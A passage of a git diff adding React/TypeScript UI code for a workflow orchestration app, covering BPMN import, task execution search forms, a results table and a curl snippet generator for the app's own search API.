featureFlags.isEnabled(FEATURES.HIDE_IMPORT_BPMN); + + const clearNewWorkflowStorage = () => { + // Clear any existing new workflow data from localStorage + removeCopyFromStorage({ + workflowName: "newWorkflowDef", + currentVersion: undefined, + isNewWorkflow: true, + }); + }; + + const splitButtonOptions = useMemo(() => { + const options = [ + { + label: "New Workflow", + onClick: () => { + clearNewWorkflowStorage(); + pushHistory(WORKFLOW_DEFINITION_URL.NEW); + }, + }, + ]; + if (!isImportBpmnHidden) { + options.push({ + label: "Import BPMN", + onClick: () => setOpenBPMNModal(true), + }); + } + return options; + }, [isImportBpmnHidden, pushHistory]); + + return ( + <> + } + options={splitButtonOptions} + primaryOnClick={() => { + clearNewWorkflowStorage(); + pushHistory(WORKFLOW_DEFINITION_URL.NEW); + }} + disabled={disabled || isTrialExpired} + > + Define workflow + + setOpenBPMNModal(false)} + /> + + ); +}; + +export default SplitWorkflowDefinitionButton; diff --git a/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/hook.ts b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/hook.ts new file mode 100644 index 0000000..7f355ce --- /dev/null +++ b/ui-next/src/pages/executions/SplitWorkflowDefinitionButton/hook.ts @@ -0,0 +1,188 @@ +import { fetchWithContext } from "plugins/fetch"; +import { ChangeEvent, DragEvent, useState } from "react"; +import { WORKFLOW_NAME_ERROR_MESSAGE } from "utils/constants/common"; +import { WORKFLOW_NAME_REGEX } from "utils/constants/regex"; +import { WORKFLOW_DEFINITION_URL } from "utils/constants/route"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useAuthHeaders } from "utils/query"; + +const stripBPMNExtension = (fileName: string): string => { + return fileName.replace(/\.bpmn$/i, ""); +}; + +export const useImportBPMWorkflow = ({ onClose }: { onClose: () => void }) => { + const authHeaders = useAuthHeaders(); + const pushHistory = usePushHistory(); + const [selectedFile, setSelectedFile] = useState(""); + const [workflowName, setWorkflowName] = useState(""); + const [workflowNameError, setWorkflowNameError] = useState( + null, + ); + const [overWriteWorkflow, setOverWriteWorkflow] = useState(true); + const [fileContent, onChangeFileContent] = useState(""); + const [isDragging, setIsDragging] = useState(false); + const [isUploading, setIsUploading] = useState(false); + const [uploadError, setUploadError] = useState(null); + + const onReset = () => { + setSelectedFile(""); + setWorkflowName(""); + onChangeFileContent(""); + setUploadError(null); + }; + + const onUpload = async () => { + setIsUploading(true); + setUploadError(null); + + // Validate XML first + try { + const parser = new DOMParser(); + const xmlDoc = parser.parseFromString(fileContent, "text/xml"); + const parseError = xmlDoc.getElementsByTagName("parsererror").length > 0; + + if (parseError) { + setUploadError("Invalid XML format"); + setIsUploading(false); + return; + } + } catch { + setUploadError("Invalid XML format"); + setIsUploading(false); + return; + } + + try { + const fileName = workflowName.endsWith(".bpmn") + ? workflowName + : `${workflowName}.bpmn`; + const importedWorkflows = await fetchWithContext( + `/metadata/workflow-importer/import-bpm?overwrite=${overWriteWorkflow}`, + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: JSON.stringify({ + fileName, + fileContent, + }), + }, + ); + + if (importedWorkflows?.length === 0) { + setUploadError( + "A workflow with the same name already exists. Please rename the workflow or enable the 'Overwrite workflow' option to proceed.", + ); + } else { + onClose(); + + setSelectedFile(""); + setWorkflowName(""); + onChangeFileContent(""); + const firstWorkflow = importedWorkflows[0]; + if (firstWorkflow) { + pushHistory(WORKFLOW_DEFINITION_URL.BASE + "/" + firstWorkflow.name); + } + } + } catch (err: unknown) { + if (err instanceof Response) { + const errorAsJson = await err.json(); + setUploadError(errorAsJson.message || "Upload failed"); + } else if (err instanceof Error) { + setUploadError(err.message); + } else { + setUploadError("Upload failed"); + } + } finally { + setIsUploading(false); + } + }; + + const onFileSelect = (e: ChangeEvent) => { + setUploadError(null); + const file = e.target.files?.[0]; + if (file) { + setSelectedFile(file.name); + setWorkflowName(stripBPMNExtension(file.name)); + const reader = new FileReader(); + reader.onload = (e) => { + const content = e.target?.result as string; + onChangeFileContent(content); + }; + reader.readAsText(file); + } + }; + + const onDragEnter = (e: DragEvent) => { + e.preventDefault(); + e.stopPropagation(); + setIsDragging(true); + }; + + const onDragLeave = (e: DragEvent) => { + e.preventDefault(); + e.stopPropagation(); + setIsDragging(false); + }; + + const onDragOver = (e: DragEvent) => { + e.preventDefault(); + e.stopPropagation(); + }; + + const onDrop = (e: DragEvent) => { + e.preventDefault(); + e.stopPropagation(); + setIsDragging(false); + setUploadError(null); + + const files = Array.from(e.dataTransfer.files); + const bpmnFile = files.find((file) => file.name.endsWith(".bpmn")); + + if (bpmnFile) { + setSelectedFile(bpmnFile.name); + setWorkflowName(stripBPMNExtension(bpmnFile.name)); + const reader = new FileReader(); + reader.onload = (e) => { + const content = e.target?.result as string; + onChangeFileContent(content); + }; + reader.readAsText(bpmnFile); + } + }; + + const onWorkflowNameChange = (value: string) => { + setWorkflowName(value); + setWorkflowNameError( + WORKFLOW_NAME_REGEX.test(value) ? null : WORKFLOW_NAME_ERROR_MESSAGE, + ); + }; + + const onOverWriteWorkflowToggle = () => { + setOverWriteWorkflow(!overWriteWorkflow); + }; + + return { + onUpload, + onFileSelect, + onDragEnter, + onDragLeave, + onDragOver, + onDrop, + onChangeFileContent, + onReset, + onWorkflowNameChange, + onOverWriteWorkflowToggle, + selectedFile, + workflowName, + fileContent, + isDragging, + isUploading, + uploadError, + workflowNameError, + overWriteWorkflow, + } as const; +}; diff --git a/ui-next/src/pages/executions/Task/AdvanceSearch.tsx b/ui-next/src/pages/executions/Task/AdvanceSearch.tsx new file mode 100644 index 0000000..06b8b0f --- /dev/null +++ b/ui-next/src/pages/executions/Task/AdvanceSearch.tsx @@ -0,0 +1,256 @@ +import { Monaco } from "@monaco-editor/react"; +import { Box, Grid } from "@mui/material"; +import { Button } from "components"; +import MuiTypography from "components/ui/MuiTypography"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import ResetIcon from "components/icons/ResetIcon"; +import SearchIcon from "components/icons/SearchIcon"; +import { Dispatch, useEffect, useRef } from "react"; +import { QueryDispatch, SetStateAction } from "react-router-use-location-state"; +import { colors } from "theme/tokens/variables"; +import { TaskType } from "types/common"; +import { TaskStatus } from "types/TaskStatus"; +import { + TASK_SEARCH_QUERY_SUGGESTIONS, + WORKFLOW_SEARCH_QUERY_SUGGESTIONS, +} from "utils/constants/common"; +import { useLocalStorage } from "utils/localstorage"; +import { DateControlComponent } from "../DateControlComponent"; +import { ExampleSearchQuery } from "../SearchExampleQuery"; + +const taskTypes = Object.values(TaskType); +const taskStatuses = Object.values(TaskStatus).sort((a, b) => + a.toLowerCase().localeCompare(b.toLowerCase()), +); + +interface AdvanceSearchComponentProps { + queryText: string; + freeText: string; + startTime: string; + startTimeEnd: string; + fromDisplayTime: string; + endTimeStart: string; + endTime: string; + toDisplayTime: string; + openDateSelect: boolean; + openStartDatePicker: boolean; + setStartOpenDatePicker: Dispatch>; + setOpenDateSelect: Dispatch>; + setToDisplayTime: Dispatch>; + openEndDatePicker: boolean; + setFreeText: QueryDispatch>; + setQueryText: QueryDispatch>; + setShowCodeDialog: QueryDispatch>; + handleReset: () => void; + doSearch: () => void; + onStartFromChange: (val: string) => void; + onStartToChange: (val: string) => void; + onEndFromChange: (val: string) => void; + onEndToChange: (val: string) => void; + setFromDisplayTime: Dispatch>; + setEndOpenDatePicker: Dispatch>; + recentSearches: { start: string; end: string }; +} + +export const AdvanceSearch = ({ + queryText, + freeText, + startTime, + endTime, + setQueryText, + onStartFromChange, + onStartToChange, + setFreeText, + handleReset, + doSearch, + setShowCodeDialog, + toDisplayTime, + setToDisplayTime, + setOpenDateSelect, + setStartOpenDatePicker, + startTimeEnd, + openDateSelect, + endTimeStart, + openEndDatePicker, + fromDisplayTime, + openStartDatePicker, + setFromDisplayTime, + setEndOpenDatePicker, + onEndFromChange, + onEndToChange, + recentSearches, +}: AdvanceSearchComponentProps) => { + const disposeRef = useRef void)>(null); + + useEffect(() => { + return () => { + if (disposeRef.current) { + disposeRef.current(); + } + }; + }, []); + + // for tooltip flag in localstorage + const [tooltipFlags, setTooltipFlags] = useLocalStorage("tooltipFlags", {}); + const handleToolTipOnClose = () => { + if (tooltipFlags && !tooltipFlags.executionSearch) { + setTooltipFlags({ ...tooltipFlags, executionSearch: true }); + } + }; + return ( + + + + Search tasks by query parameters. Then hit ENTER, and now you + can click SEARCH. + + + Sample: + + + +       + ), + showInitial: !tooltipFlags.executionSearch, + initialTimeout: 2000, + onClose: handleToolTipOnClose, + }} + beforeMount={(monaco: Monaco) => { + if (disposeRef.current) { + disposeRef.current(); + disposeRef.current = null; + } + const disposable = monaco.languages.registerCompletionItemProvider( + "sql", + { + provideCompletionItems: () => { + const propertyKeys = [ + ...WORKFLOW_SEARCH_QUERY_SUGGESTIONS, + ...TASK_SEARCH_QUERY_SUGGESTIONS, + ...taskTypes, + ...taskStatuses, + ]; + + // Provide suggestions for properties that start with the current text + const propertySuggestions = propertyKeys.map((property) => ({ + label: property, + kind: monaco.languages.CompletionItemKind.Value, + insertText: property, + })); + // Merge custom suggestions with property suggestions + const suggestions = [...propertySuggestions]; + return { suggestions }; + }, + }, + ); + // IMPORTANT: keep `dispose()` bound to its disposable context. + // Destructuring `dispose` can lose `this` and throw "Unbound disposable context". + disposeRef.current = () => disposable.dispose(); + }} + options={{ + lineNumbers: "off", + }} + /> + + + + + + + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={doSearch} + > + Search + + + + ); +}; diff --git a/ui-next/src/pages/executions/Task/BasicSearch.tsx b/ui-next/src/pages/executions/Task/BasicSearch.tsx new file mode 100644 index 0000000..c91dc89 --- /dev/null +++ b/ui-next/src/pages/executions/Task/BasicSearch.tsx @@ -0,0 +1,287 @@ +import { Box, Grid } from "@mui/material"; +import { Button } from "components"; +import StatusBadge from "components/StatusBadge"; +import { renderStatusTagChip } from "components/StatusTagChip"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SplitButton from "components/ui/buttons/ConductorSplitButton"; +import ResetIcon from "components/icons/ResetIcon"; +import SearchIcon from "components/icons/SearchIcon"; +import { Dispatch } from "react"; +import { QueryDispatch, SetStateAction } from "react-router-use-location-state"; +import { TaskType } from "types/common"; +import { TaskStatus } from "types/TaskStatus"; +import { DateControlComponent } from "../DateControlComponent"; + +const taskTypes = Object.values(TaskType).filter( + (type) => ![TaskType.START, TaskType.SWITCH_JOIN].includes(type), +); +const taskStatuses = Object.values(TaskStatus) + .sort((a, b) => a.toLowerCase().localeCompare(b.toLowerCase())) + .filter((status) => status !== TaskStatus.PENDING); +interface BasicSearchComponentProps { + taskDefName: string; + taskExecutionId: string; + taskRefName: string; + workflowName: string; + freeText: string; + startTime: string; + startTimeEnd: string; + fromDisplayTime: string; + endTimeStart: string; + endTime: string; + status: string[]; + toDisplayTime: string; + openDateSelect: boolean; + openStartDatePicker: boolean; + setStartOpenDatePicker: Dispatch>; + setOpenDateSelect: Dispatch>; + setToDisplayTime: Dispatch>; + taskType: string[]; + openEndDatePicker: boolean; + setTaskDefName: QueryDispatch>; + setTaskExecutionId: QueryDispatch>; + setTaskRefName: QueryDispatch>; + setWorkflowName: QueryDispatch>; + setFreeText: QueryDispatch>; + setStatus: QueryDispatch>; + setTaskType: QueryDispatch>; + setShowCodeDialog: QueryDispatch>; + setFromDisplayTime: Dispatch>; + setEndOpenDatePicker: Dispatch>; + handleReset: () => void; + doSearch: () => void; + onStartFromChange: (val: string) => void; + onStartToChange: (val: string) => void; + onEndFromChange: (val: string) => void; + onEndToChange: (val: string) => void; + queryText: string; + recentSearches: { start: string; end: string }; +} + +export const BasicSearch = ({ + taskDefName, + taskExecutionId, + taskRefName, + workflowName, + freeText, + startTime, + toDisplayTime, + setToDisplayTime, + setOpenDateSelect, + setStartOpenDatePicker, + startTimeEnd, + openDateSelect, + endTime, + endTimeStart, + status, + queryText, + openEndDatePicker, + taskType, + fromDisplayTime, + openStartDatePicker, + setTaskDefName, + setFromDisplayTime, + setTaskExecutionId, + setEndOpenDatePicker, + setTaskRefName, + setWorkflowName, + setFreeText, + setStatus, + setTaskType, + setShowCodeDialog, + handleReset, + doSearch, + onStartFromChange, + onEndFromChange, + onEndToChange, + onStartToChange, + recentSearches, +}: BasicSearchComponentProps) => { + return ( + + + + + + setTaskType(val)} + value={taskType} + /> + + + + + + + + + + + + setStatus(val)} + value={status} + renderTags={renderStatusTagChip} + renderOption={(props, option) => ( + + + + )} + /> + + + + + + + + + + } + options={[ + { + label: "Show as code", + onClick: () => setShowCodeDialog("active"), + }, + ]} + primaryOnClick={doSearch} + > + Search + + + + ); +}; diff --git a/ui-next/src/pages/executions/Task/SwitchComponent.tsx b/ui-next/src/pages/executions/Task/SwitchComponent.tsx new file mode 100644 index 0000000..37e104d --- /dev/null +++ b/ui-next/src/pages/executions/Task/SwitchComponent.tsx @@ -0,0 +1,32 @@ +import { Box, FormControlLabel, Switch } from "@mui/material"; +import { SetStateAction } from "react"; +import { QueryDispatch } from "react-router-use-location-state"; + +interface SwitchComponentProps { + asQuery: boolean; + setAsQuery: QueryDispatch>; +} + +export const SwitchComponent = ({ + asQuery, + setAsQuery, +}: SwitchComponentProps) => { + return ( + + setAsQuery(!asQuery)} /> + } + label="SQL format" + /> + + ); +}; diff --git a/ui-next/src/pages/executions/Task/TaskApiSearchModal.tsx b/ui-next/src/pages/executions/Task/TaskApiSearchModal.tsx new file mode 100644 index 0000000..9467810 --- /dev/null +++ b/ui-next/src/pages/executions/Task/TaskApiSearchModal.tsx @@ -0,0 +1,62 @@ +import { ApiSearchModal } from "components/ApiSearchModal"; +import { curlHeaders } from "shared/CodeModal/curlHeader"; +import { toCodeT, useParamsToSdk } from "shared/CodeModal/hook"; +import { SupportedDisplayTypes } from "shared/CodeModal/types"; +import { BuildQueryOutput } from "../ApiSearchModalIntegration"; + +interface TaskApiSearchModalProps { + buildQueryOutput: BuildQueryOutput; + onClose: () => void; +} + +const buildEndpoint = ({ + start, + size, + sort, + freeText, + query, +}: BuildQueryOutput) => + `${window.location.origin}/api/tasks/search?${new URLSearchParams({ + start: String(start), + size: String(size), + sort, + freeText, + query, + }).toString()}`; + +const buildCurlCode = ( + buildQueryOutput: BuildQueryOutput, + accessToken: string, +) => { + const endpoint = buildEndpoint(buildQueryOutput); + const headers = curlHeaders(accessToken); + const curlCommand = `curl '${endpoint}' \\${Object.entries(headers) + .map(([key, value]) => `\n-H '${key}: ${value}' \\`) + .join("")}\n--compressed`; + + return curlCommand; +}; + +const toCodeMap: toCodeT = { + curl: buildCurlCode, +}; + +export const TaskApiSearchModal = ({ + onClose, + buildQueryOutput, +}: TaskApiSearchModalProps) => { + const { selectedLanguage, setSelectedLanguage, code } = + useParamsToSdk(buildQueryOutput, toCodeMap); + + return ( + { + setSelectedLanguage(val); + }} + languages={Object.keys(toCodeMap) as SupportedDisplayTypes[]} + /> + ); +}; diff --git a/ui-next/src/pages/executions/TaskResultsTable.tsx b/ui-next/src/pages/executions/TaskResultsTable.tsx new file mode 100644 index 0000000..3d35ee2 --- /dev/null +++ b/ui-next/src/pages/executions/TaskResultsTable.tsx @@ -0,0 +1,358 @@ +import { LinearProgress } from "@mui/material"; +import { ReactNode, useEffect, useState } from "react"; + +import { DataTable, NavLink, Paper, Text } from "components"; +import { ColumnCustomType, LegacyColumn } from "components/ui/DataTable/types"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import NoDataComponent from "components/ui/NoDataComponent"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import StatusBadge from "components/StatusBadge"; +import { colors } from "theme/tokens/variables"; +import { + WORKFLOW_DEFINITION_URL, + WORKFLOW_EXECUTION_URL, +} from "utils/constants/route"; +import { calculateTimeFromMillis, totalPages } from "utils/utils"; +import BulkActionModule from "./BulkActionModule"; +import executionsStyles from "./executionsStyles"; +import { toMaybeQueryString } from "utils/toMaybeQueryString"; + +const LinearIndeterminate = () => { + return ( +
      + +
      + ); +}; + +const executionFields: LegacyColumn[] = [ + { + id: "startTime", + name: "startTime", + type: ColumnCustomType.DATE, + label: "Start Time", + sortable: true, + minWidth: "120px", + }, + { + id: "endTime", + name: "endTime", + label: "End Time", + type: ColumnCustomType.DATE, + minWidth: "120px", + sortable: true, + }, + { + id: "taskId", + name: "taskId", + label: "Task execution Id", + grow: 2, + renderer: (taskId, row) => { + const urlParameters = { + taskId: row.taskId, + }; + return ( + + {taskId} + + ); + }, + sortable: true, + }, + { + id: "taskDefName", + name: "taskDefName", + label: "Task name", + sortable: false, + }, + { + id: "scheduledTime", + name: "scheduledTime", + label: "Scheduled time", + type: ColumnCustomType.DATE, + minWidth: "120px", + sortable: true, + }, + { + id: "taskType", + name: "taskType", + label: "Task Type", + sortable: true, + }, + { + id: "taskReferenceName", + name: "taskReferenceName", + label: "Task Reference Name", + sortable: true, + }, + { + id: "workflowType", + name: "workflowType", + label: "Workflow Name", + sortable: true, + grow: 2, + renderer: (workflowName) => ( + + {workflowName} + + ), + }, + { + id: "updateTime", + name: "updateTime", + label: "Updated Time", + type: ColumnCustomType.DATE, + sortable: true, + }, + + { + id: "status", + name: "status", + label: "Status", + sortable: true, + minWidth: "150px", + renderer: (status) => , + }, + { + id: "input", + name: "input", + label: "Input", + grow: 2, + wrap: true, + sortable: false, + }, + { id: "output", name: "output", label: "Output", grow: 2, sortable: false }, + { + id: "executionTime", + name: "executionTime", + label: "Execution Time", + renderer: (time) => { + if (time < 1000) { + return `${time} ms`; + } else { + return calculateTimeFromMillis(Math.floor(time / 1000)); + } + }, + sortable: false, + }, + { + id: "workflowId", + name: "workflowId", + label: "Workflow Id", + renderer: (executionId) => ( + + {executionId} + + ), + sortable: true, + }, + { + id: "workflowPriority", + name: "workflowPriority", + label: "Workflow priority", + sortable: false, + }, + { + id: "correlationId", + name: "correlationId", + label: "Correlation id", + sortable: false, + }, + { + id: "reasonForIncompletion", + name: "reasonForIncompletion", + label: "Reason for Incompletion", + sortable: false, + }, + { + id: "queueWaitTime", + name: "queueWaitTime", + label: "Queue Wait Time", + sortable: false, + }, + { + id: "externalInputPayloadStoragePath", + name: "externalInputPayloadStoragePath", + label: "External Input Payload Storage Path", + sortable: false, + }, + { + id: "externalOutputPayloadStoragePath", + name: "externalOutputPayloadStoragePath", + label: "External Output Payload Storage Path", + sortable: false, + }, +]; + +export interface ResultsTableProps { + resultObj: any; + error?: any; + busy?: boolean; + page: number; + rowsPerPage: number; + setPage: (page: number) => void; + setSort: (id: string, direction: string) => void; + setRowsPerPage?: (rowsPerPage: number) => void; + showMore?: boolean; + title?: string | ReactNode; + refetchExecution: () => void; + handleError?: (error: any) => void; + handleClearError?: () => void; + filterOn: boolean; + handleReset: () => void; +} + +export default function ResultsTable({ + resultObj, + error, + busy, + page, + rowsPerPage, + setPage, + setSort, + setRowsPerPage, + title, + refetchExecution, + handleError, + handleClearError, + filterOn, + handleReset, +}: ResultsTableProps) { + const [selectedRows, setSelectedRows] = useState([]); + const [toggleCleared, setToggleCleared] = useState(false); + const pushHistory = usePushHistory(); + + const getErrorMessage = (error: any) => { + return error?.message || error?.statusText; + }; + + useEffect(() => { + setSelectedRows([]); + setToggleCleared((t) => !t); + }, [resultObj]); + + const handleClickDefineWorkflow = () => { + pushHistory(WORKFLOW_DEFINITION_URL.NEW); + }; + const handleClickClearSearch = () => { + handleReset(); + }; + + const totalCount = resultObj?.totalHits ?? resultObj?.results?.length; + + return ( + + {error && ( + + )} + {!resultObj && !error && ( + + Click "Search" to submit query. + + )} + + } + progressPending={busy} + pagination + paginationServer + paginationTotalRows={totalCount} + title={ + title || + ` Page ${page} of ${totalPages( + page, + rowsPerPage.toString(), + resultObj?.results?.length, + )}` + } + data={resultObj?.results ? resultObj?.results : []} + columns={executionFields} + defaultShowColumns={[ + "startTime", + "endTime", + "taskId", + "taskType", + "scheduledTime", + "workflowType", + "status", + ]} + localStorageKey="taskSearchExecutions" + keyField="taskId" // paginationServer + useGlobalRowsPerPage={false} + paginationDefaultPage={page} + paginationPerPage={rowsPerPage} + onChangeRowsPerPage={setRowsPerPage} + onChangePage={(page) => setPage(page)} + hideSearch + sortServer + defaultSortAsc={false} + onSort={(column, sortDirection) => { + if (column.id) { + setSort(column.id as string, sortDirection); + } + }} + selectableRows + contextComponent={ + + } + onSelectedRowsChange={({ selectedRows }) => + setSelectedRows(selectedRows) + } + clearSelectedRows={toggleCleared} + customStyles={{ + header: { + style: { + overflow: "visible", + }, + }, + contextMenu: { + style: { + display: "none", + }, + activeStyle: { + display: "flex", + }, + }, + }} + noDataComponent={ + filterOn ? ( + + ) : ( + + ) + } + /> + + ); +} diff --git a/ui-next/src/pages/executions/TaskSearch.tsx b/ui-next/src/pages/executions/TaskSearch.tsx new file mode 100644 index 0000000..8faf72e --- /dev/null +++ b/ui-next/src/pages/executions/TaskSearch.tsx @@ -0,0 +1,478 @@ +import { Box } from "@mui/material"; +import { Paper } from "components"; +import { DEFAULT_ROWS_PER_PAGE } from "components/ui/DataTable/DataTable"; +import MuiTypography from "components/ui/MuiTypography"; +import AddIcon from "components/icons/AddIcon"; +import _isEmpty from "lodash/isEmpty"; +import _isEqual from "lodash/isEqual"; +import { useCallback, useEffect, useMemo, useState } from "react"; +import { Helmet } from "react-helmet"; +import { useHotkeys } from "react-hotkeys-hook"; +import { UseQueryResult } from "react-query"; +import { Navigate } from "react-router"; +import { useQueryState } from "react-router-use-location-state"; +import SectionContainer from "components/ui/layout/SectionContainer"; +import SectionHeader from "components/layout/SectionHeader"; +import SectionHeaderActions from "components/ui/layout/SectionHeaderActions"; +import { colors } from "theme/tokens/variables"; +import { Key } from "ts-key-enum"; +import { TaskExecutionResult } from "types/TaskExecution"; +import { IObject } from "types/common"; +import { dateToEpoch } from "utils"; +import { ERROR_URL, NEW_TASK_DEF_URL } from "utils/constants/route"; +import { commonlyUsedDateTime, getSearchDateTime } from "utils/date"; +import { usePushHistory } from "utils/hooks/usePushHistory"; +import { useTaskExecutionsSearch } from "utils/query"; +import { getErrors, tryToJson } from "utils/utils"; +import { AdvanceSearch } from "./Task/AdvanceSearch"; +import { BasicSearch } from "./Task/BasicSearch"; +import { SwitchComponent } from "./Task/SwitchComponent"; +import { TaskApiSearchModal } from "./Task/TaskApiSearchModal"; +import ResultsTable from "./TaskResultsTable"; + +const DEFAULT_SORT = "startTime:DESC"; + +const getTableTitle = (resultObj: TaskExecutionResult) => { + const { results, totalHits } = resultObj; + return ( + + + {results.length} results + + + of {totalHits} + + + ); +}; + +export function TaskSearch() { + const currentTimeStamp = Date.now().toString(); + const last72HoursTimestamp = Date.now() - 72 * 60 * 60 * 1000; + + const [freeText, setFreeText] = useQueryState("freeText", ""); + const [taskDefName, setTaskDefName] = useQueryState("taskDefName", ""); + const [taskId, setTaskId] = useQueryState("taskId", ""); + const [taskRefName, setTaskRefName] = useQueryState("taskRefName", ""); + const [workflowName, setWorkflowName] = useQueryState("workflowName", ""); + const [queryText, setQueryText] = useQueryState("query", ""); + const [status, setStatus] = useQueryState("status", []); + const [taskType, setTaskType] = useQueryState("taskType", []); + + const [startTimeFrom, setStartTimeFrom] = useQueryState( + "startFrom", + commonlyUsedDateTime("last72Hours").rangeStart, + ); + + const [startTimeEnd, setStartTimeEnd] = useQueryState("startTimeTo", ""); + const [endTimeFrom, setEndTimeFrom] = useQueryState("endTimeFrom", ""); + const [endTimeTo, setEndTime] = useQueryState("endTimeTo", ""); + + const [page, setPage] = useQueryState("page", 1); + const [rowsPerPage, setRowsPerPage] = useQueryState( + "rowsPerPage", + DEFAULT_ROWS_PER_PAGE, + ); + const [sort, setSort] = useQueryState("sort", DEFAULT_SORT); + const [showCodeDialog, setShowCodeDialog] = useQueryState("displayCode", ""); + const [asQuery, setAsQuery] = useQueryState("asQuery", false); + const [errorMessage, setErrorMessage] = useState(null); + + const [unauthorized, setUnauthorized] = useState<{ + message?: string; + error?: string; + } | null>(null); + + const [openDateSelect, setOpenDateSelect] = useState(false); + const [openStartDatePicker, setStartOpenDatePicker] = useState(false); + const [openEndDatePicker, setEndOpenDatePicker] = useState(false); + const [fromDisplayTime, setFromDisplayTime] = useState( + startTimeFrom + ? getSearchDateTime(startTimeFrom, startTimeEnd) + : "Last 72 Hours", + ); + const [toDisplayTime, setToDisplayTime] = useState( + endTimeTo ? getSearchDateTime(endTimeFrom, endTimeTo) : "Select time range", + ); + + const recentSearches = + (tryToJson(localStorage.getItem("recentTaskSearch")) as { + start: string; + end: string; + }) || {}; + + useEffect(() => { + if (!startTimeFrom) { + setStartTimeFrom(last72HoursTimestamp.toString()); + setStartTimeEnd(""); + } + // eslint-disable-next-line react-hooks/exhaustive-deps + }, []); + + const buildQuery = useCallback(() => { + const clauses = []; + + if (asQuery) { + if (!_isEmpty(queryText)) { + clauses.push(queryText); + } + } else { + if (!_isEmpty(taskDefName)) { + clauses.push(`taskDefName='${taskDefName}'`); + } + if (!_isEmpty(taskType) && !queryText.includes("taskType")) { + clauses.push(`taskType IN (${taskType.join(",")})`); + } + if (!_isEmpty(taskId)) { + clauses.push(`taskId='${taskId}'`); + } + if (!_isEmpty(taskRefName)) { + clauses.push(`referenceTaskName='${taskRefName}'`); + } + if (!_isEmpty(workflowName)) { + clauses.push(`workflowName='${workflowName}'`); + } + if (!_isEmpty(status) && !queryText.includes("status")) { + clauses.push(`status IN (${status.join(",")})`); + } + } + if (!_isEmpty(startTimeFrom)) { + clauses.push(`startTime>${dateToEpoch(startTimeFrom)}`); + } + if (!_isEmpty(startTimeEnd)) { + clauses.push(`startTime<${dateToEpoch(startTimeEnd)}`); + } + if (!_isEmpty(endTimeFrom)) { + clauses.push(`endTime>${dateToEpoch(endTimeFrom)}`); + } + if (!_isEmpty(endTimeTo)) { + clauses.push(`endTime<${dateToEpoch(endTimeTo)}`); + } + + return { + query: clauses.join(" AND "), + freeText: _isEmpty(freeText) ? "*" : freeText, + }; + }, [ + asQuery, + endTimeTo, + endTimeFrom, + freeText, + queryText, + startTimeFrom, + startTimeEnd, + status, + taskDefName, + taskId, + taskRefName, + taskType, + workflowName, + ]); + + const [queryFT, setQueryFT] = useState(buildQuery); + const { + data: resultObj, + error, + isFetching, + refetch, + }: UseQueryResult = useTaskExecutionsSearch( + { + page, + rowsPerPage, + sort, + query: queryFT.query, + freeText: queryFT.freeText, + }, + { + onError: (error: any) => { + if (error) { + getErrors(error as Response).then((result) => { + if (result?.["taskNames"] === "must not be empty") { + setErrorMessage({ message: "task name should not be empty" }); + } else { + setErrorMessage(result); + } + }); + } else { + setErrorMessage(null); + } + }, + }, + ); + + const doSearch = useCallback(() => { + setPage(1); + + const oldQueryFT = queryFT; + const newQueryFT = buildQuery(); + setQueryFT(newQueryFT); + + if (_isEqual(oldQueryFT, newQueryFT)) { + refetch(); + } + if (startTimeFrom || startTimeEnd || endTimeFrom || endTimeTo) { + localStorage.setItem( + "recentTaskSearch", + JSON.stringify({ + start: startTimeFrom || startTimeEnd, + end: endTimeTo || endTimeFrom, + }), + ); + } + }, [ + buildQuery, + endTimeTo, + queryFT, + refetch, + setPage, + startTimeFrom, + startTimeEnd, + endTimeFrom, + ]); + + // hotkeys to search execution + useHotkeys(`${Key.Meta}+${Key.Enter}`, doSearch, { + enableOnFormTags: ["INPUT", "TEXTAREA", "SELECT"], + }); + + const handlePage = (page: number) => { + setPage(page); + }; + + const handleSort = (changedColumn: string, direction: string) => { + const sortColumn = + changedColumn === "workflowType" ? "workflowName" : changedColumn; + const sort = `${sortColumn}:${direction.toUpperCase()}`; + setPage(1); + setSort(sort); + }; + + const handleRowsPerPage = (rowsPerPage: number) => { + setPage(1); + setRowsPerPage(rowsPerPage); + }; + + const onStartFromChange = (val: string) => { + if (val) setStartTimeFrom(String(dateToEpoch(val))); + else setStartTimeFrom(""); + }; + + const onStartToChange = (val: string) => { + if (val) setStartTimeEnd(String(dateToEpoch(val))); + else setStartTimeEnd(""); + }; + + const pushHistory = usePushHistory(); + + // Must be called before any early returns to follow Rules of Hooks + const filterOn = useMemo(() => { + if (queryFT.query !== "" || queryFT.freeText !== "*") { + return true; + } else { + return false; + } + }, [queryFT]); + + // @ts-ignore + if (error?.status === 401) { + const errorResult = error; + const parseErrorResponse = async () => { + try { + // @ts-ignore + const json = await errorResult.clone().json(); + setUnauthorized(json); + } catch { + setUnauthorized(null); + } + }; + parseErrorResponse(); + } + + if (unauthorized) { + if (unauthorized.message) { + return ( + + ); + } + + return ; + } + + const handleError = (error: any) => { + setErrorMessage(error); + }; + const handleClearError = () => { + setErrorMessage(null); + }; + + const onEndFromChange = (val: string) => { + if (val) setEndTimeFrom(String(dateToEpoch(val))); + else setEndTimeFrom(""); + }; + + const onEndToChange = (val: string) => { + if (val) setEndTime(String(dateToEpoch(val))); + else setEndTime(""); + }; + + const clearAllFields = () => { + if (asQuery) { + setQueryText(""); + } else { + setTaskDefName(""); + setTaskType([]); + setTaskId(""); + setTaskRefName(""); + setWorkflowName(""); + setStatus([]); + } + setStartTimeFrom(last72HoursTimestamp.toString()); + setStartTimeEnd(""); + setEndTimeFrom(""); + setEndTime(""); + setFreeText(""); + setToDisplayTime(""); + setFromDisplayTime("Last 72 Hours"); + setSort(DEFAULT_SORT); + }; + + const handleReset = () => { + clearAllFields(); + const newQueryFT = { + query: `startTime>${last72HoursTimestamp.toString()} AND startTime<${currentTimeStamp}`, + freeText: "*", + }; + setQueryFT(newQueryFT); + }; + + return ( + <> + + Task Executions + + + {showCodeDialog && ( + setShowCodeDialog("")} + 